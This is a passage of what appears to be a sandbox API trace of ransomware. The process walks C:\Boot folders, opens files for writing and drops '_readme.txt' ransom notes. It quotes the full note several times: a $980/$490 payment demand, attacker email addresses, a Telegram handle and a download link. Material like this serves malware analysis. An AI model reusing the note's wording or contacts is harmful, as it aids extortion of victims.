recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.635] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.635] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.636] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.636] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.636] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.636] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0116.636] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.636] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0116.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.636] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.636] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.636] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0116.636] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.637] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0116.637] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.637] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.637] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.637] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.637] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.638] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.639] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.640] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.640] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.641] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0116.641] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.641] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.641] PathFindFileNameW (pszPath="") returned="" [0116.641] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.641] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.641] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.641] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.641] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.642] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.642] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0116.642] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0116.642] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 